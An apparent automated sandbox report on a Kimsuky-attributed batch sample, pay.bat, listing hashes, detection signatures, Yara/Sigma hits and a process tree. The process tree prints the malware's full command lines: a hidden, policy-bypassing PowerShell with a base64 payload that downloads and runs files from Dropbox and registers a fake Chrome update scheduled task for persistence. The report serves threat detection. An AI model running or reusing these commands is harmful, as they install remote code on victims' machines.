Edit tour
Windows
Analysis Report
pay.bat
Overview
General Information
| Sample name: | pay.bat |
| Analysis ID: | 1563601 |
| MD5: | b262ac518c0114f414aaedbb4ef7c728 |
| SHA1: | fd02470c6cc4ceb5fad3589d02e5148a8c738b83 |
| SHA256: | 8e0eb0d36bfd4e28ec6a10acccf899740df7048451229b84715e475e3c91347b |
| Tags: | batuser-1ZRR4H |
| Infos: |   |
 | |
Detection
Kimsuky
| Score: | 96 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Yara detected Kimsuky
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 2020 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\pay.b at" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2696 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 2124 cmdline: powershell /W 1 -ep bypass -w hidden -co mmand $cmk GnaBV=[Con vert]::Fro mBase64Str ing('JHBwc CA9IEpvaW4 tUGF0aCAoJ GVudjpBcHB EYXRhKSAiY 2hyb21lLnB zMSI7ICRzd HIgPSAnJGF hYSA9IEpva W4tUGF0aCA oJGVudjpBc HBEYXRhKSA idGVtcC5wc zEiOyB3Z2V 0IC1VcmkgI mh0dHBzOi8 vZGwuZHJvc GJveHVzZXJ jb250ZW50L mNvbS9zY2w vZmkvZGt1Y W1scmxzcmJ 5Z3NvMXN3b jhwL3NhbnR hMi1mLnR4d D9ybGtleT1 yOGZlMHZpa WVyMW13djl hems1YXd5N XM5JnN0PXl 2cXFmZGZ5J mRsPTAiIC1 PdXRGaWxlI CRhYWE7ICY gJGFhYTsgU mVtb3ZlLUl 0ZW0gLVBhd GggJGFhYSA tRm9yY2U7J zsgJHN0ciB 8IE91dC1Ga WxlIC1GaWx lUGF0aCAkc HBwIC1FbmN vZGluZyBVV EY4OyAkYWN 0aW9uID0gT mV3LVNjaGV kdWxlZFRhc 2tBY3Rpb24 gLUV4ZWN1d GUgJ1Bvd2V yU2hlbGwuZ XhlJyAtQXJ ndW1lbnQgJ y1XaW5kb3d TdHlsZSBIa WRkZW4gLW5 vcCAgLU5vb kludGVyYWN 0aXZlIC1Ob 1Byb2ZpbGU gLUV4ZWN1d GlvblBvbGl jeSBCeXBhc 3MgLUNvbW1 hbmQgIiYge yRhYmMgPSB Kb2luLVBhd GggKCRlbnY 6QXBwRGF0Y SkgXCJjaHJ vbWUucHMxX CI7ICYgJGF iYzt9Iic7I CR0cmlnZ2V yID0gTmV3L VNjaGVkdWx lZFRhc2tUc mlnZ2VyIC1 PbmNlIC1Bd CAoR2V0LUR hdGUpLkFkZ E1pbnV0ZXM oNSkgLVJlc GV0aXRpb25 JbnRlcnZhb CAoTmV3LVR pbWVTcGFuI C1NaW51dGV zIDMwKTsgJ HNldHRpbmd zID0gTmV3L VNjaGVkdWx lZFRhc2tTZ XR0aW5nc1N ldCAtSGlkZ GVuOyBSZWd pc3Rlci1TY 2hlZHVsZWR UYXNrIC1UY XNrTmFtZSA iQ2hyb21lV XBkYXRlVGF za01hY2hpb mUiIC1BY3R pb24gJGFjd GlvbiAtVHJ pZ2dlciAkd HJpZ2dlciA tU2V0dGluZ 3MgJHNldHR pbmdzOyAgJ GFhYSA9IEp vaW4tUGF0a CAoJGVudjp BcHBEYXRhK SAic3lzdGV tX2ZpcnN0L nBzMSI7IHd nZXQgLVVya SAiaHR0cHM 6Ly9kbC5kc m9wYm94dXN lcmNvbnRlb nQuY29tL3N jbC9maS9nN 21jc2hreDN xbW81bXZ5d GYyY3Qvc2F udGEyLXgud Hh0P3Jsa2V 5PTVuYmJxZ WdjNWE3N3I 3NmhpeW02c zl5Mmgmc3Q 9NzI3Y3Mxb XgmZGw9MCI gLU91dEZpb GUgJGFhYTs gJiAkYWFhO yBSZW1vdmU tSXRlbSAtU GF0aCAkYWF hIC1Gb3JjZ Ts=');$U9z BwFeD = [S ystem.Text .Encoding] ::UTF8.Get String($cm kGnaBV);&( '{5}{0}{2} {1}{3}{4}{ 6}'-f 'oke ','xp','-E ','res','s io','Inv', 'n') $U9zB wFeD MD5: 04029E121A0CFA5991749937DD22A1D9)
- powershell.exe (PID: 5480 cmdline:
PowerShell .exe -Wind owStyle Hi dden -nop -NonIntera ctive -NoP rofile -Ex ecutionPol icy Bypass -Command "& {$abc = Join-Path ($env:App Data) \"ch rome.ps1\" ; & $abc;} " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5848 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Kimsuky |
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| JoeSecurity_Kimsuky_9 | Yara detected Kimsuky | Joe Security | ||
| Click to see the 5 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||